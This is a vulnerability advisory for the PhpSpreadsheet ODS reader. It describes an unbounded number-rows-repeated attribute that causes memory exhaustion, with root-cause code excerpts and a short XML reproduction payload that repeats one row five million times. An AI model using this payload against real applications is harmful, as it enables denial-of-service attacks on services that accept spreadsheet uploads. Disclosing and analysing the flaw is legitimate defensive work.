PhpSpreadsheet ODS Reader: Unbounded number-rows-repeated → CPU & Memory Exhaustion (DoS)

Summary

When PhpSpreadsheet loads an OpenDocument Spreadsheet (.ods), Ods::processTableRow() reads the table:number-rows-repeated attribute of a <table:table-row> with an unchecked (int) cast, then materialises one cell per repeated row. This value is completely unbounded, so a single ~1.4 KB file can instruct the reader to create up to millions of cells, exhausting memory (fatal OOM). No authentication, no special configuration, and the default read filter are required - any application that loads a user-supplied .ods is affected.

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Affected versions

The number-rows-repeated expansion has existed in the ODS reader since its inception (pre-dating the current release branches), so all maintained lines are affected.

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Root cause (source → sink)

src/PhpSpreadsheet/Reader/Ods.php:

// line 816 — row repeat, unchecked (int) cast
$rowRepeats = (int) $childNode->getAttributeNS($tableNs, 'number-rows-repeated');
...
// line 1151 — row materialisation loop: NO upper bound
for ($rowAdjust = 0; $rowAdjust < $rowRepeats; ++$rowAdjust) {
    $rID = $rowID + $rowAdjust;
    $cell = $spreadsheet->getActiveSheet()->getCell($columnID . $rID);  // allocates a Cell
    $cell->setValueExplicit($dataValue, $type);
    // ... no bounds check on $rowAdjust or $rID ...
}

Why columns are NOT vulnerable (already bounded):

The column-header loop at line 1326 shows the correct pattern with bounds checking:

// line 1326 (processTableColumnHeader): BOUNDED correctly
for ($rowRepeats2 = $rowRepeats; $rowRepeats2 > 0 && $tableColumnIndex2 <= AddressRange::MAX_COLUMN_INT; --$rowRepeats2) {
    // HAS BOUNDS CHECK: && $tableColumnIndex2 <= AddressRange::MAX_COLUMN_INT
}

Additionally, the cell-data column loop at line 1141 calls getCell() which throws exception at Coordinate.php:448 when column exceeds MAX_COLUMN_INT (XFD / 16,384):

// Coordinate.php line 448
if ($columnIndex > self::MAX_COLUMN_INT) {
    throw new Exception('Column string index can not be beyond XFD');
}

Result: Columns are capped at 16,384. Only rows are unbounded.

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Impact

Memory exhaustion (single valued cell, repeated many rows):
A non-null cell value with a huge number-rows-repeated attribute materialises millions of Cell objects → PHP fatal Allowed memory size ... exhausted.

Example:

• Payload: <table:table-row table:number-rows-repeated="5000000"> (5 million rows)
• File size: 1.4 KB
• Memory consumed: ~256 MB (one Cell object per row)
• Result: OOM at default memory limit

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Reproduction

Vulnerable payload (causes OOM):

<table:table table:name="Sheet1">
 <table:table-row table:number-rows-repeated="5000000">
  <table:table-cell office:value-type="float" office:value="1">
   <text:p>1</text:p>
  </table:table-cell>
 </table:table-row>
</table:table>

Not vulnerable (for reference - throws exception):

<table:table table:name="Sheet1">
 <table:table-row>
  <table:table-cell office:value-type="float" office:value="1"
      table:number-columns-repeated="1000000000">
   <text:p>1</text:p>
  </table:table-cell>
 </table:table-row>
</table:table>

This column-repeat example throws Column string index can not be beyond XFD exception (bounded defense, already in place).